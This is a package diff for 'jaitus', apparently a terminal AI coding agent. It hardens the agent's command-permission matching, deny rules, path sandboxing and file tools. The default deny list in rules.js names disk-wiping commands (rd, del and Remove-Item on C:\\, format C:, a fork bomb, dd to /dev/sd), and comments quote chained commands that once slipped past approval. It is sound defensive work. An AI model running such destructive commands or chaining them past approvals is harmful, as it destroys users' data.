jaitus 0.3.4 → 0.3.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +35 -37
- package/bin/jaitus.js +8 -0
- package/package.json +2 -2
- package/src/agent/loop.js +186 -28
- package/src/agent/permissions.js +50 -17
- package/src/agent/rules.js +85 -14
- package/src/agent/tools.js +266 -50
- package/src/background.js +34 -7
- package/src/commands/commit.js +63 -46
- package/src/commands/doctor.js +1 -1
- package/src/commands/explain.js +5 -5
- package/src/commands/logout.js +2 -0
- package/src/commands/research.js +5 -6
- package/src/commands/review.js +8 -11
- package/src/commands/test.js +18 -14
- package/src/config.js +12 -1
- package/src/errors.js +4 -0
- package/src/index.js +567 -118
- package/src/mcp.js +209 -72
- package/src/project.js +0 -0
- package/src/session.js +18 -0
- package/src/sessions.js +20 -2
- package/src/terminal.js +46 -11
- package/src/tui/ansi.js +3 -1
- package/src/tui/clipboard.js +100 -7
- package/src/tui/entries.js +5 -5
- package/src/tui/highlight.js +4 -4
- package/src/tui/markdown.js +1 -1
- package/src/tui/theme.js +8 -0
- package/src/tui-ink.js +510 -106
- package/src/tui.js +4 -0
- package/src/ui.js +5 -1
package/src/agent/rules.js
CHANGED
|
@@ -58,22 +58,52 @@ export function parseRule(text) {
|
|
|
58
58
|
* it, approving `npm test` would not cover `npm test -- --watch`, and people would
|
|
59
59
|
* write `npm*` instead — which also matches `npm publish`.
|
|
60
60
|
*/
|
|
61
|
-
export function matches(pattern, subject) {
|
|
61
|
+
export function matches(pattern, subject, { command = false } = {}) {
|
|
62
62
|
if (pattern === null || pattern === '') return true;
|
|
63
|
-
|
|
63
|
+
// Runs of spaces are one space: `git push` is `git push`.
|
|
64
|
+
const value = command ? squash(subject) : String(subject ?? '');
|
|
64
65
|
|
|
65
66
|
if (pattern.endsWith(':*')) {
|
|
66
|
-
const prefix = pattern.slice(0, -2).trim();
|
|
67
|
+
const prefix = (command ? squash(pattern.slice(0, -2)) : pattern.slice(0, -2).trim());
|
|
67
68
|
if (!value.startsWith(prefix)) return false;
|
|
68
69
|
// A prefix must end at a word boundary: `git pu:*` must not match `git push`
|
|
69
70
|
// by accident of spelling, but `git push:*` must match `git push --force`.
|
|
70
71
|
const rest = value.slice(prefix.length);
|
|
71
|
-
|
|
72
|
+
if (!(rest === '' || /^[\s\-]/.test(rest))) return false;
|
|
73
|
+
// "This command and its arguments" — never "this command, then anything". The rest
|
|
74
|
+
// of the line may not chain, pipe or redirect: `npm test:*` used to approve
|
|
75
|
+
// `npm test && del /s /q C:\` because only the first character after the prefix
|
|
76
|
+
// was looked at.
|
|
77
|
+
// Checked on the RAW line: squashing whitespace above turns a newline — which runs a
|
|
78
|
+
// second command — into a harmless-looking space.
|
|
79
|
+
if (command && SHELL_META.test(String(subject ?? '')) && !SHELL_META.test(prefix)) return false;
|
|
80
|
+
return true;
|
|
72
81
|
}
|
|
73
82
|
|
|
74
83
|
return globToRegExp(pattern).test(value);
|
|
75
84
|
}
|
|
76
85
|
|
|
86
|
+
/**
|
|
87
|
+
* Characters that make one shell line run more than the command it starts with — in
|
|
88
|
+
* cmd, PowerShell and POSIX shells: chaining, pipes, redirects, substitution, grouping,
|
|
89
|
+
* and a line break.
|
|
90
|
+
*/
|
|
91
|
+
export const SHELL_META = /[;&|<>`$(){}\r\n]/;
|
|
92
|
+
|
|
93
|
+
const squash = (value) => String(value ?? '').replace(/\s+/g, ' ').trim();
|
|
94
|
+
|
|
95
|
+
/**
|
|
96
|
+
* The separate commands in one shell line, for DENY checks. A deny rule is anchored to
|
|
97
|
+
* the start of a command, so `deny git push:*` used to miss `cd . && git push --force` —
|
|
98
|
+
* the push is simply the second command. Each piece is checked on its own.
|
|
99
|
+
*/
|
|
100
|
+
export function commandsIn(line) {
|
|
101
|
+
return String(line ?? '')
|
|
102
|
+
.split(/&&|\|\||[;&|\r\n]/)
|
|
103
|
+
.map((part) => squash(part).replace(/^[({\s]+|[)}\s]+$/g, ''))
|
|
104
|
+
.filter(Boolean);
|
|
105
|
+
}
|
|
106
|
+
|
|
77
107
|
const cache = new Map();
|
|
78
108
|
function globToRegExp(pattern) {
|
|
79
109
|
if (cache.has(pattern)) return cache.get(pattern);
|
|
@@ -99,19 +129,43 @@ function globToRegExp(pattern) {
|
|
|
99
129
|
* Both lists are scanned in full even after a match, because a deny anywhere has to
|
|
100
130
|
* beat an allow everywhere and short-circuiting on the first allow would lose that.
|
|
101
131
|
*/
|
|
102
|
-
export function decide({ allow = [], deny = [] }, toolName, input) {
|
|
103
|
-
const
|
|
132
|
+
export function decide({ allow = [], deny = [] }, toolName, input, { cwd = null } = {}) {
|
|
133
|
+
const command = COMMAND_TOOLS.has(toolName);
|
|
134
|
+
let subject = subjectOf(toolName, input);
|
|
135
|
+
// A path rule is written relative to the project; the model often sends an absolute
|
|
136
|
+
// path. Compared raw, `deny edit_file(src/**)` did not stop `C:/p/src/a.js`.
|
|
137
|
+
if (cwd && PATH_TOOLS.has(toolName) && subject) {
|
|
138
|
+
const rel = normalise(path.relative(cwd, path.resolve(cwd, subject)));
|
|
139
|
+
if (rel && !rel.startsWith('..') && !path.isAbsolute(rel)) subject = rel;
|
|
140
|
+
}
|
|
141
|
+
// Deny: the whole line, and each command inside it.
|
|
142
|
+
const denySubjects = command ? [subject, ...commandsIn(subject)] : [subject];
|
|
104
143
|
for (const rule of deny) {
|
|
105
144
|
const parsed = typeof rule === 'string' ? parseRule(rule) : rule;
|
|
106
|
-
if (parsed && parsed.tool === toolName && matches(parsed.pattern,
|
|
145
|
+
if (parsed && parsed.tool === toolName && denySubjects.some((s) => matches(parsed.pattern, s, { command }))) return 'deny';
|
|
107
146
|
}
|
|
108
147
|
for (const rule of allow) {
|
|
109
148
|
const parsed = typeof rule === 'string' ? parseRule(rule) : rule;
|
|
110
|
-
if (parsed && parsed.tool === toolName && matches(parsed.pattern, subject)) return 'allow';
|
|
149
|
+
if (parsed && parsed.tool === toolName && matches(parsed.pattern, subject, { command })) return 'allow';
|
|
111
150
|
}
|
|
112
151
|
return 'ask';
|
|
113
152
|
}
|
|
114
153
|
|
|
154
|
+
const COMMAND_TOOLS = new Set(['run_command', 'background_run']);
|
|
155
|
+
const PATH_TOOLS = new Set(['write_file', 'edit_file', 'read_file', 'read_image', 'list_files']);
|
|
156
|
+
|
|
157
|
+
// Programs whose "first argument" is arbitrary code or another program. Generalised,
|
|
158
|
+
// `node -e x` becomes `node:*` and `cmd /c dir` becomes `cmd /c:*` — every command there
|
|
159
|
+
// is. These are always pinned to the exact line approved.
|
|
160
|
+
const RUNS_ANYTHING = new Set([
|
|
161
|
+
'cmd', 'cmd.exe', 'powershell', 'powershell.exe', 'pwsh', 'pwsh.exe', 'bash', 'sh', 'zsh', 'fish', 'dash',
|
|
162
|
+
'node', 'node.exe', 'python', 'python3', 'py', 'ruby', 'perl', 'php', 'deno', 'bun', 'npx', 'bunx', 'pnpx',
|
|
163
|
+
'sudo', 'doas', 'env', 'xargs', 'eval', 'exec', 'start', 'call', 'wsl', 'wsl.exe', 'ssh', 'nohup', 'time', 'watch',
|
|
164
|
+
]);
|
|
165
|
+
// `npm run <script>` names the script as its third word; `npm run:*` would approve every
|
|
166
|
+
// script in package.json.
|
|
167
|
+
const RUNNER_VERBS = new Set(['run', 'run-script', 'exec', 'x', 'dlx']);
|
|
168
|
+
|
|
115
169
|
/**
|
|
116
170
|
* The rule "Allow always" should create for this exact call.
|
|
117
171
|
*
|
|
@@ -125,12 +179,20 @@ export function ruleForCall(toolName, input, cwd) {
|
|
|
125
179
|
if (!subject) return `${toolName}`;
|
|
126
180
|
|
|
127
181
|
if (toolName === 'run_command' || toolName === 'background_run') {
|
|
128
|
-
const
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
182
|
+
const line = squash(subject);
|
|
183
|
+
const words = line.split(' ');
|
|
184
|
+
const exe = path.basename(words[0].replace(/^["']|["']$/g, '')).toLowerCase();
|
|
185
|
+
// Pinned exactly, never generalised:
|
|
186
|
+
// - a shell operator: `npm test && rm -rf .` must not become `npm test:*`;
|
|
187
|
+
// - an interpreter or launcher: its argument is the whole program;
|
|
188
|
+
// - a flag before the subcommand: `git -C sub status` generalised to `git:*`,
|
|
189
|
+
// which includes `git push`.
|
|
190
|
+
if (SHELL_META.test(line) || RUNS_ANYTHING.has(exe) || (words[1] && words[1].startsWith('-'))) {
|
|
191
|
+
return `${toolName}(${line})`;
|
|
192
|
+
}
|
|
193
|
+
let take = words[1] ? 2 : 1;
|
|
194
|
+
if (RUNNER_VERBS.has(String(words[1]).toLowerCase()) && words[2] && !words[2].startsWith('-')) take = 3;
|
|
195
|
+
return `${toolName}(${words.slice(0, take).join(' ')}:*)`;
|
|
134
196
|
}
|
|
135
197
|
|
|
136
198
|
if (toolName === 'web_fetch') {
|
|
@@ -175,6 +237,15 @@ export const DEFAULT_DENY = [
|
|
|
175
237
|
'run_command(**:(){ :|:& };:**)',
|
|
176
238
|
'run_command(**of=/dev/sd**)',
|
|
177
239
|
'run_command(**> /dev/sd**)',
|
|
240
|
+
// The Windows spellings of the same accidents — the list had none.
|
|
241
|
+
'run_command(**rd /s /q C:\\)',
|
|
242
|
+
'run_command(**rd /s /q C:\\ **)',
|
|
243
|
+
'run_command(**rmdir /s /q C:\\)',
|
|
244
|
+
'run_command(**del /s /q C:\\)',
|
|
245
|
+
'run_command(**del /s /q C:\\*)',
|
|
246
|
+
'run_command(**format C:**)',
|
|
247
|
+
'run_command(**Remove-Item -Recurse -Force C:\\)',
|
|
248
|
+
'run_command(**Remove-Item C:\\ -Recurse**)',
|
|
178
249
|
];
|
|
179
250
|
|
|
180
251
|
/** Validate a list of rule strings, returning { rules, bad }. */
|
package/src/agent/tools.js
CHANGED
|
@@ -17,7 +17,7 @@
|
|
|
17
17
|
import fs from 'node:fs/promises';
|
|
18
18
|
import fsSync from 'node:fs';
|
|
19
19
|
import path from 'node:path';
|
|
20
|
-
import { spawn } from 'node:child_process';
|
|
20
|
+
import { spawn, spawnSync } from 'node:child_process';
|
|
21
21
|
import { loadIgnore, IGNORE_FILE } from '../project.js';
|
|
22
22
|
import { searchWeb, formatResults } from './websearch.js';
|
|
23
23
|
|
|
@@ -32,6 +32,91 @@ function truncate(text, limit = MAX_OUTPUT) {
|
|
|
32
32
|
return `${s.slice(0, limit)}\n\n[truncated — ${s.length - limit} more characters]`;
|
|
33
33
|
}
|
|
34
34
|
|
|
35
|
+
// ── Processes ──
|
|
36
|
+
const CAPTURE_MAX = 2 * 1024 * 1024;
|
|
37
|
+
|
|
38
|
+
/** Collect a stream's bytes up to CAPTURE_MAX; .text() decodes them once. */
|
|
39
|
+
export function captureStream(stream) {
|
|
40
|
+
const chunks = [];
|
|
41
|
+
let size = 0;
|
|
42
|
+
let dropped = 0;
|
|
43
|
+
stream?.on('data', (d) => {
|
|
44
|
+
if (size >= CAPTURE_MAX) { dropped += d.length; return; }
|
|
45
|
+
const take = d.subarray(0, CAPTURE_MAX - size);
|
|
46
|
+
chunks.push(take);
|
|
47
|
+
size += take.length;
|
|
48
|
+
dropped += d.length - take.length;
|
|
49
|
+
});
|
|
50
|
+
return {
|
|
51
|
+
text() {
|
|
52
|
+
const s = new TextDecoder('utf-8').decode(Buffer.concat(chunks));
|
|
53
|
+
return dropped ? `${s}\n[… ${Math.round(dropped / 1024)} KB more output not kept]` : s;
|
|
54
|
+
},
|
|
55
|
+
};
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
/** Kill a child and everything it started. */
|
|
59
|
+
export function killTree(child) {
|
|
60
|
+
if (!child?.pid) return;
|
|
61
|
+
try {
|
|
62
|
+
if (process.platform === 'win32') {
|
|
63
|
+
spawnSync('taskkill', ['/pid', String(child.pid), '/T', '/F'], { stdio: 'ignore', windowsHide: true });
|
|
64
|
+
} else {
|
|
65
|
+
try { process.kill(-child.pid, 'SIGKILL'); } catch { child.kill('SIGKILL'); }
|
|
66
|
+
}
|
|
67
|
+
} catch { /* already gone */ }
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
// ── Text files as they really are on disk ──
|
|
71
|
+
const READ_MAX_BYTES = 16 * 1024 * 1024;
|
|
72
|
+
|
|
73
|
+
async function readHead(file, bytes) {
|
|
74
|
+
const handle = await fs.open(file, 'r');
|
|
75
|
+
try {
|
|
76
|
+
const buf = Buffer.alloc(bytes);
|
|
77
|
+
const { bytesRead } = await handle.read(buf, 0, bytes, 0);
|
|
78
|
+
return buf.subarray(0, bytesRead);
|
|
79
|
+
} finally { await handle.close(); }
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
/** A NUL in the first 8 KB means binary — except UTF-16, which is full of them. */
|
|
83
|
+
export function looksBinary(buf) {
|
|
84
|
+
if (!buf?.length) return false;
|
|
85
|
+
if ((buf[0] === 0xff && buf[1] === 0xfe) || (buf[0] === 0xfe && buf[1] === 0xff)) return false;
|
|
86
|
+
return buf.subarray(0, 8192).includes(0);
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
/**
|
|
90
|
+
* Bytes → { text, eol, bom, encoding }. UTF-16 (what PowerShell 5.1 `>` writes) is
|
|
91
|
+
* decoded rather than returned as garbage, and a UTF-8 BOM is remembered so a rewrite
|
|
92
|
+
* keeps it. `eol` is the file's dominant line ending, so edits can write it back.
|
|
93
|
+
*/
|
|
94
|
+
export function decodeText(buf) {
|
|
95
|
+
let encoding = 'utf8';
|
|
96
|
+
let bom = false;
|
|
97
|
+
let text;
|
|
98
|
+
if (buf[0] === 0xff && buf[1] === 0xfe) { encoding = 'utf16le'; bom = true; text = buf.subarray(2).toString('utf16le'); }
|
|
99
|
+
else if (buf[0] === 0xfe && buf[1] === 0xff) {
|
|
100
|
+
encoding = 'utf16be'; bom = true;
|
|
101
|
+
const swapped = Buffer.from(buf.subarray(2)); swapped.swap16();
|
|
102
|
+
text = swapped.toString('utf16le');
|
|
103
|
+
} else if (buf[0] === 0xef && buf[1] === 0xbb && buf[2] === 0xbf) { bom = true; text = buf.subarray(3).toString('utf8'); }
|
|
104
|
+
else text = buf.toString('utf8');
|
|
105
|
+
const crlf = (text.match(/\r\n/g) || []).length;
|
|
106
|
+
const lf = (text.match(/\n/g) || []).length - crlf;
|
|
107
|
+
return { text, eol: crlf > lf ? '\r\n' : '\n', bom, encoding };
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
/** Text (with \n line endings) → bytes in the style decodeText found. */
|
|
111
|
+
export function encodeText(text, { eol = '\n', bom = false, encoding = 'utf8' } = {}) {
|
|
112
|
+
let body = String(text).replace(/\r\n/g, '\n');
|
|
113
|
+
if (eol === '\r\n') body = body.replace(/\n/g, '\r\n');
|
|
114
|
+
if (encoding === 'utf16le') return Buffer.concat([Buffer.from([0xff, 0xfe]), Buffer.from(body, 'utf16le')]);
|
|
115
|
+
if (encoding === 'utf16be') { const b = Buffer.from(body, 'utf16le'); b.swap16(); return Buffer.concat([Buffer.from([0xfe, 0xff]), b]); }
|
|
116
|
+
const out = Buffer.from(body, 'utf8');
|
|
117
|
+
return bom ? Buffer.concat([Buffer.from([0xef, 0xbb, 0xbf]), out]) : out;
|
|
118
|
+
}
|
|
119
|
+
|
|
35
120
|
/**
|
|
36
121
|
* Resolve a user/model-supplied path inside the working directory.
|
|
37
122
|
* Rejects anything that escapes it, including via a symlink whose real path leads out.
|
|
@@ -52,8 +137,18 @@ function safePath(cwd, p) {
|
|
|
52
137
|
}
|
|
53
138
|
} catch (e) {
|
|
54
139
|
if (e instanceof ToolError) throw e;
|
|
55
|
-
// Does not exist yet
|
|
56
|
-
//
|
|
140
|
+
// Does not exist yet (a new file): its nearest EXISTING parent must be inside too —
|
|
141
|
+
// otherwise a write through a symlinked or junctioned directory (src -> C:\Windows)
|
|
142
|
+
// escaped the project, because only the missing file itself was ever resolved.
|
|
143
|
+
let parent = path.dirname(resolved);
|
|
144
|
+
while (parent && !fsSync.existsSync(parent) && path.dirname(parent) !== parent) parent = path.dirname(parent);
|
|
145
|
+
try {
|
|
146
|
+
const realParent = fsSync.realpathSync(parent);
|
|
147
|
+
const parentRel = path.relative(fsSync.realpathSync(cwd), realParent);
|
|
148
|
+
if (parentRel.startsWith('..') || path.isAbsolute(parentRel)) {
|
|
149
|
+
throw new ToolError(`Refused: ${p} is inside a folder that links outside the working directory.`);
|
|
150
|
+
}
|
|
151
|
+
} catch (inner) { if (inner instanceof ToolError) throw inner; }
|
|
57
152
|
}
|
|
58
153
|
return resolved;
|
|
59
154
|
}
|
|
@@ -94,22 +189,29 @@ function refuseIfIgnored(cwd, p) {
|
|
|
94
189
|
}
|
|
95
190
|
}
|
|
96
191
|
|
|
97
|
-
|
|
98
|
-
|
|
192
|
+
/**
|
|
193
|
+
* Every path under `dir`, relative to `cwd`. `out.truncated` is set when the walk
|
|
194
|
+
* stopped early (entry or depth limit) — callers say so, because "no match" from a walk
|
|
195
|
+
* that gave up is not "no match". Dot-entries are skipped unless `dot` (a pattern that
|
|
196
|
+
* asks for `.github/**`); `.git` never.
|
|
197
|
+
*/
|
|
198
|
+
async function walk(dir, cwd, out, depth, maxEntries, { dot = false } = {}) {
|
|
199
|
+
if (out.length >= maxEntries) { out.truncated = true; return; }
|
|
200
|
+
if (depth < 0) { out.truncated = true; return; }
|
|
99
201
|
const ignore = ignoreFor(cwd);
|
|
100
202
|
let entries;
|
|
101
203
|
try {
|
|
102
204
|
entries = await fs.readdir(dir, { withFileTypes: true });
|
|
103
205
|
} catch { return; }
|
|
104
206
|
for (const e of entries) {
|
|
105
|
-
if (out.length >= maxEntries) return;
|
|
106
|
-
if (e.name.startsWith('.') && e.name !== '.env.example') continue;
|
|
207
|
+
if (out.length >= maxEntries) { out.truncated = true; return; }
|
|
208
|
+
if (e.name.startsWith('.') && e.name !== '.env.example' && (!dot || e.name === '.git')) continue;
|
|
107
209
|
const rel = posix(path.relative(cwd, path.join(dir, e.name)));
|
|
108
210
|
if (ignore.matches(rel)) continue;
|
|
109
211
|
if (e.isDirectory()) {
|
|
110
212
|
if (IGNORED_DIRS.has(e.name)) continue;
|
|
111
213
|
out.push(`${rel}/`);
|
|
112
|
-
await walk(path.join(dir, e.name), cwd, out, depth - 1, maxEntries);
|
|
214
|
+
await walk(path.join(dir, e.name), cwd, out, depth - 1, maxEntries, { dot });
|
|
113
215
|
} else {
|
|
114
216
|
out.push(rel);
|
|
115
217
|
}
|
|
@@ -138,8 +240,14 @@ export const TOOLS = [
|
|
|
138
240
|
const stat = await fs.stat(file).catch(() => null);
|
|
139
241
|
if (!stat) throw new ToolError(`No such file: ${input.path}`);
|
|
140
242
|
if (stat.isDirectory()) throw new ToolError(`${input.path} is a directory — use list_files.`);
|
|
141
|
-
|
|
243
|
+
// A 200 MB log was read whole and split just to return 2000 lines — about a GB of
|
|
244
|
+
// memory and a frozen interface. Past READ_MAX_BYTES only the head is read.
|
|
245
|
+
const partial = stat.size > READ_MAX_BYTES;
|
|
246
|
+
const buf = partial ? await readHead(file, READ_MAX_BYTES) : await fs.readFile(file);
|
|
247
|
+
if (looksBinary(buf)) throw new ToolError(`${input.path} is a binary file (${Math.round(stat.size / 1024)} KB), not text. Inspect it with a command if you need to.`);
|
|
248
|
+
const raw = decodeText(buf).text.replace(/\r\n/g, '\n');
|
|
142
249
|
const lines = raw.split('\n');
|
|
250
|
+
if (partial) lines.push(`[… file is ${Math.round(stat.size / 1048576)} MB; only the first ${Math.round(READ_MAX_BYTES / 1048576)} MB were read. Use search, or a command like findstr / grep, for the rest.]`);
|
|
143
251
|
const start = Math.max(0, (input.offset || 1) - 1);
|
|
144
252
|
const end = Math.min(lines.length, start + (input.limit || MAX_READ_LINES));
|
|
145
253
|
const body = lines.slice(start, end)
|
|
@@ -168,9 +276,12 @@ export const TOOLS = [
|
|
|
168
276
|
const file = safePath(cwd, input.path);
|
|
169
277
|
refuseIfIgnored(cwd, input.path);
|
|
170
278
|
await fs.mkdir(path.dirname(file), { recursive: true });
|
|
171
|
-
const
|
|
172
|
-
|
|
173
|
-
|
|
279
|
+
const before = await fs.readFile(file).catch(() => null);
|
|
280
|
+
// A replaced file keeps its line endings and encoding: rewriting a CRLF file as LF
|
|
281
|
+
// (or a UTF-16 one as UTF-8) changes every line of it in the diff.
|
|
282
|
+
const style = before ? decodeText(before) : { eol: '\n', bom: false, encoding: 'utf8' };
|
|
283
|
+
await fs.writeFile(file, encodeText(String(input.content ?? ''), style));
|
|
284
|
+
return `${before ? 'Replaced' : 'Created'} ${input.path}`;
|
|
174
285
|
},
|
|
175
286
|
},
|
|
176
287
|
|
|
@@ -208,15 +319,26 @@ export const TOOLS = [
|
|
|
208
319
|
async run(input, { cwd }) {
|
|
209
320
|
const file = safePath(cwd, input.path);
|
|
210
321
|
refuseIfIgnored(cwd, input.path);
|
|
211
|
-
const
|
|
212
|
-
if (
|
|
322
|
+
const buf = await fs.readFile(file).catch(() => null);
|
|
323
|
+
if (buf === null) throw new ToolError(`No such file: ${input.path}`);
|
|
324
|
+
if (looksBinary(buf)) throw new ToolError(`${input.path} is a binary file — it cannot be edited as text.`);
|
|
325
|
+
// Worked on with plain \n line endings, written back in the file's own. On Windows
|
|
326
|
+
// most checkouts are CRLF, the model writes \n, and every multi-line `old` failed
|
|
327
|
+
// to match — "That exact text is not in …" until the stuck detector stopped it.
|
|
328
|
+
const style = decodeText(buf);
|
|
329
|
+
const raw = style.text.replace(/\r\n/g, '\n');
|
|
330
|
+
const lf = (s) => String(s).replace(/\r\n/g, '\n');
|
|
213
331
|
|
|
214
|
-
const edits = Array.isArray(input.edits) && input.edits.length
|
|
332
|
+
const edits = (Array.isArray(input.edits) && input.edits.length
|
|
215
333
|
? input.edits
|
|
216
|
-
: [{ old: input.old, new: input.new, replace_all: input.replace_all }]
|
|
334
|
+
: [{ old: input.old, new: input.new, replace_all: input.replace_all }])
|
|
335
|
+
.map((e) => (e && typeof e.old === 'string' && typeof e.new === 'string' ? { ...e, old: lf(e.old), new: lf(e.new) } : e));
|
|
217
336
|
if (!edits.length || edits.some((e) => typeof e?.old !== 'string' || typeof e?.new !== 'string')) {
|
|
218
337
|
throw new ToolError('Give old and new, or a list of edits each with old and new.');
|
|
219
338
|
}
|
|
339
|
+
if (edits.some((e) => e.old === '')) {
|
|
340
|
+
throw new ToolError('old is empty. To add text, include a line next to where it goes in old; to create or replace a whole file, use write_file. Nothing was changed.');
|
|
341
|
+
}
|
|
220
342
|
|
|
221
343
|
// Applied to a working copy and written once. A partial multi-edit — three of five
|
|
222
344
|
// replacements landing before the fourth fails to match — leaves a file in a state
|
|
@@ -238,11 +360,18 @@ export const TOOLS = [
|
|
|
238
360
|
`That text appears ${occurrences} times in ${input.path}${where}. Include more surrounding context, or set replace_all. Nothing was changed.`,
|
|
239
361
|
);
|
|
240
362
|
}
|
|
241
|
-
|
|
363
|
+
// Spliced, never String.replace with a string: that expands `$$`, `$&` and `$'`
|
|
364
|
+
// in the NEW text, so `echo "pid $$"` was written as `echo "pid $"` — reported
|
|
365
|
+
// as a successful edit.
|
|
366
|
+
if (edit.replace_all) next = next.split(edit.old).join(edit.new);
|
|
367
|
+
else {
|
|
368
|
+
const at = next.indexOf(edit.old);
|
|
369
|
+
next = next.slice(0, at) + edit.new + next.slice(at + edit.old.length);
|
|
370
|
+
}
|
|
242
371
|
changed += occurrences;
|
|
243
372
|
}
|
|
244
373
|
|
|
245
|
-
await fs.writeFile(file, next,
|
|
374
|
+
await fs.writeFile(file, encodeText(next, style));
|
|
246
375
|
const before = raw.split('\n').length;
|
|
247
376
|
const after = next.split('\n').length;
|
|
248
377
|
const delta = after - before;
|
|
@@ -269,13 +398,20 @@ export const TOOLS = [
|
|
|
269
398
|
summarise: (i) => `glob ${i.pattern}`,
|
|
270
399
|
async run(input, { cwd }) {
|
|
271
400
|
const root = safePath(cwd, input.path || '.');
|
|
272
|
-
|
|
401
|
+
// `src\**\*.ts` is how a Windows path is written; the pattern language is `/`.
|
|
402
|
+
const pattern = String(input.pattern || '').replace(/\\/g, '/').replace(/^\.\//, '');
|
|
403
|
+
const re = globToRegExp(pattern);
|
|
273
404
|
const limit = Math.min(Math.max(Number(input.limit) || 200, 1), 2000);
|
|
274
405
|
const found = [];
|
|
275
|
-
await walk(root, cwd, found, 12, 20_000);
|
|
276
|
-
|
|
406
|
+
await walk(root, cwd, found, 12, 20_000, { dot: /(^|\/)\./.test(pattern) });
|
|
407
|
+
// Matched against the path from `path`, returned from the project root: with
|
|
408
|
+
// path "src", "*.ts" means src/*.ts. It was matched against the root-relative
|
|
409
|
+
// path, so glob {pattern:"*.ts", path:"src"} never matched anything.
|
|
410
|
+
const fromRoot = (rel) => posix(path.relative(root, path.resolve(cwd, rel)));
|
|
411
|
+
const matched = found.filter((rel) => !rel.endsWith('/') && re.test(fromRoot(rel)));
|
|
412
|
+
const cut = found.truncated ? ' The search stopped early (a very large tree) — give a narrower path.' : '';
|
|
277
413
|
if (!matched.length) {
|
|
278
|
-
return `No file matches ${input.pattern}
|
|
414
|
+
return `No file matches ${input.pattern}.${cut} Note that * does not cross a / — use ** for that, as in **/*.ts.`;
|
|
279
415
|
}
|
|
280
416
|
// Newest first: when a pattern matches many files, the ones touched most recently
|
|
281
417
|
// are almost always the ones the question is about.
|
|
@@ -305,9 +441,11 @@ export const TOOLS = [
|
|
|
305
441
|
async run(input, { cwd }) {
|
|
306
442
|
const dir = safePath(cwd, input.path || '.');
|
|
307
443
|
const found = [];
|
|
308
|
-
|
|
444
|
+
// depth N means N levels (the walk counts from 0, so it went one deeper than asked).
|
|
445
|
+
await walk(dir, cwd, found, Math.max(0, (input.depth ?? 2) - 1), 600);
|
|
309
446
|
if (!found.length) return 'No files found.';
|
|
310
|
-
|
|
447
|
+
const cut = found.truncated ? '\n\n[stopped at 600 entries or the depth limit — list a subdirectory, or use glob]' : '';
|
|
448
|
+
return truncate(found.sort().join('\n') + cut);
|
|
311
449
|
},
|
|
312
450
|
},
|
|
313
451
|
|
|
@@ -335,12 +473,18 @@ export const TOOLS = [
|
|
|
335
473
|
}
|
|
336
474
|
const dir = safePath(cwd, input.path || '.');
|
|
337
475
|
const files = [];
|
|
338
|
-
await walk(dir, cwd, files,
|
|
476
|
+
await walk(dir, cwd, files, 12, 20_000);
|
|
477
|
+
// `glob` may be an ending (".ts") or a real pattern ("*.ts", "**/*.ts"). Only the
|
|
478
|
+
// ending worked, so a model passing a glob always got "No matches".
|
|
479
|
+
const g = String(input.glob || '').replace(/\\/g, '/');
|
|
480
|
+
const fileRe = g && /[*?]/.test(g) ? globToRegExp(g.includes('/') ? g : `**/${g}`) : null;
|
|
481
|
+
const wanted = (rel) => !g || (fileRe ? fileRe.test(rel) : rel.endsWith(g));
|
|
339
482
|
const hits = [];
|
|
483
|
+
let capped = false;
|
|
340
484
|
for (const rel of files) {
|
|
341
485
|
if (rel.endsWith('/')) continue;
|
|
342
|
-
if (
|
|
343
|
-
if (hits.length >= 200) break;
|
|
486
|
+
if (!wanted(rel)) continue;
|
|
487
|
+
if (hits.length >= 200) { capped = true; break; }
|
|
344
488
|
let text;
|
|
345
489
|
try {
|
|
346
490
|
const stat = await fs.stat(path.join(cwd, rel));
|
|
@@ -352,7 +496,10 @@ export const TOOLS = [
|
|
|
352
496
|
if (re.test(line)) hits.push(`${rel}:${i + 1}: ${line.trim().slice(0, 240)}`);
|
|
353
497
|
});
|
|
354
498
|
}
|
|
355
|
-
|
|
499
|
+
const note = capped || hits.length >= 200 ? '\n\n[first 200 matches — narrow the pattern or the path for the rest]'
|
|
500
|
+
: files.truncated ? '\n\n[the search stopped early (a very large tree) — some files were not searched; give a narrower path]' : '';
|
|
501
|
+
if (!hits.length) return files.truncated ? 'No matches in the files searched — but the search stopped early (a very large tree). Give a narrower path.' : 'No matches.';
|
|
502
|
+
return truncate(hits.join('\n') + note);
|
|
356
503
|
},
|
|
357
504
|
},
|
|
358
505
|
|
|
@@ -370,10 +517,11 @@ export const TOOLS = [
|
|
|
370
517
|
required: ['command'],
|
|
371
518
|
},
|
|
372
519
|
summarise: (i) => i.command,
|
|
373
|
-
run(input, { cwd }) {
|
|
520
|
+
run(input, { cwd, signal = null }) {
|
|
374
521
|
const command = String(input.command || '').trim();
|
|
375
522
|
if (!command) throw new ToolError('No command given.');
|
|
376
523
|
const timeout = Math.min(Math.max(Number(input.timeout_ms) || 120_000, 1000), 600_000);
|
|
524
|
+
if (signal?.aborted) return Promise.resolve('Not run: stopped by the user.');
|
|
377
525
|
|
|
378
526
|
return new Promise((resolve) => {
|
|
379
527
|
// `shell: true` rather than spawning cmd.exe with an argument array.
|
|
@@ -390,30 +538,56 @@ export const TOOLS = [
|
|
|
390
538
|
// No TTY: anything that would prompt gets EOF and exits instead of hanging
|
|
391
539
|
// forever with nobody able to type into it.
|
|
392
540
|
stdio: ['ignore', 'pipe', 'pipe'],
|
|
541
|
+
windowsHide: true,
|
|
542
|
+
// Its own process group on POSIX, so the whole tree can be killed at once.
|
|
543
|
+
detached: process.platform !== 'win32',
|
|
393
544
|
});
|
|
394
545
|
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
546
|
+
// Bytes, decoded once at the end: decoding chunk by chunk split multi-byte
|
|
547
|
+
// characters across chunks into garbage. Capped: `type huge.log` grew memory
|
|
548
|
+
// until a RangeError crashed the process.
|
|
549
|
+
const out = captureStream(child.stdout);
|
|
550
|
+
const err = captureStream(child.stderr);
|
|
551
|
+
let note = '';
|
|
552
|
+
let settled = false;
|
|
553
|
+
|
|
554
|
+
const finish = (code) => {
|
|
555
|
+
if (settled) return;
|
|
556
|
+
